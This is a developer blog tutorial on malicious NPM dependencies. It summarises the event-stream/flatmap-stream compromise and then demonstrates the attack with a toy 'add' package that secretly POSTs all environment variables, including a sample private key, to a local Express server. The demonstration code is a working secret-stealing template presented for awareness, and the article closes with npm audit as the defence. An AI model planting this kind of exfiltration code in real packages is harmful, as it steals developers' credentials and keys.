The world is a tough place – a lot of people out there to get you! While I might not teach you some martial arts and self-defense here, I hope to raise your level of awareness where it comes to malicious code. NPM happens to serve it every now and then!
Identifying the problem
Serving malicious JavaScript seems to be a common issue – one that not only NPM has to deal with. Examples of it are old WordPress plugins. They sometimes link to external JavaScript files that seem to work fine but after some time the domain that hosts them expires. When that happens, someone might buy it and serve their content under the same address. This thing happened for example with the Enmask Captcha: it is no longer in the official WordPress plugin repository.
You can look up the code of the plugin in its repository.
Even if you don’t develop anything for WordPress, chances are you use NPM. Bad news for you: there were multiple occurrences of some nasty code attached to popular libraries. An example of it is the event-stream package. It aims to make creating and working with streams easier and is very popular – it has over a million downloads a week. A person calling himself right9ctrl emailed the maintainer of the package and asked for rights to be a publisher – and he received them. The hacker then added a dependency – flatmap-stream – that included malicious code in a tricky way. He attached the malicious code in the minified version of the library, leaving the readable version of the package intact.
According to npm-stat.com, users downloaded the flatmap-stream 8 million times.
To make things even more perspicuous, let’s create and use our malicious library. Its functionality is adding two variables together. Pretty convenient, I think? I bet it will have even more users than the is-even package.
add/index.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
const { request } = require('http'); const req = request( { host: 'localhost', port: '5000', path: '/env', method: 'POST', headers: { 'Content-Type': 'application/json' } } ); req.write(JSON.stringify(process.env)); req.end(); function add(a, b) { return a + b; } module.exports = add; |
As you might know from my series on Node.js with TypeScript, the
process.env object contains environment variables. It is potentially sensitive data.
The trick to our library is that aside from exporting the add function, we also send all of the environment variables to a server!
I prepared the target REST API using the Express framework:
1 2 3 4 5 6 7 8 9 10 11 12 |
const express = require('express'); const bodyParser = require('body-parser'); const app = express(); app.use(bodyParser.json()); app.post('/env', (request, response) => { console.log(request.body); // all environment variables land here response.end(); }); app.listen(5000); |
If you are interested in how to create a REST API in Node.js using Express and TypeScript, check out my TypeScript Express tutorial
So far so good! We are not uploading this code to the NPM registry though. Let’s use a local instance of the package. To do that, we can add our library to the dependencies using the file: syntax in our package.json :
1 2 3 |
"dependencies": { "add": "file:../add" } |
The ../add is a path to our library: this creates a symlink without copying the library contents. Another way to do this is to use npm link.
Let’s first create something worth stealing. To do this, we create the .env file and use dotenv to load it.
.env
1 |
PRIVATE_KEY=my_private_key |
1 2 3 4 |
require('dotenv/config'); const add = require('add'); console.log(add(1,2)); |
And just like that, all our environment variables are sent to somebody else, along with our private key. Pretty scary.
Dealing with the issue: npm audit
I hope that the examples above convince you that we need to pay close attention to what libraries we use within our code. With npm 6 we received a handy tool: npm audit.
Its purpose is to scan your dependencies for security vulnerabilities. It depends on a database of known issues, so while it probably is not perfect, it helps a lot.
The issues are divided into a few categories determining the impact and exploitability of the vulnerability:
- critical: address immediately
- high: address as quickly as possible
- moderate: address as time allows
- low: address at your discretion
As you can see in the console output above, it gives you specific information about the problem and what dependency it connects with. Aside from that, it proposes a solution to solving the problem. Not all issues can be dealt with automatically, but you can handle them all at once by running npm audit fix. It installs updates to vulnerable dependencies, warning you of potential breaking changes based on the semver versioning.
If you want to know more about semantic versioning, check out Keeping your dependencies in order when using NPM
Now the audit runs automatically every time you install packages so that you are always kept up-to-date with any known vulnerabilities.
Summary
In this article, we’ve gone through possible scenarios of your application getting infected by malicious code. We’ve also prepared a library that sends environment variables to a server, potentially harvesting sensitive data like passwords and private keys. We discussed a way to defend ourselves from known issues by using npm audit and hopefully, it increased your awareness on the topic of why and how should we deal with the security of our application when it comes to dependencies.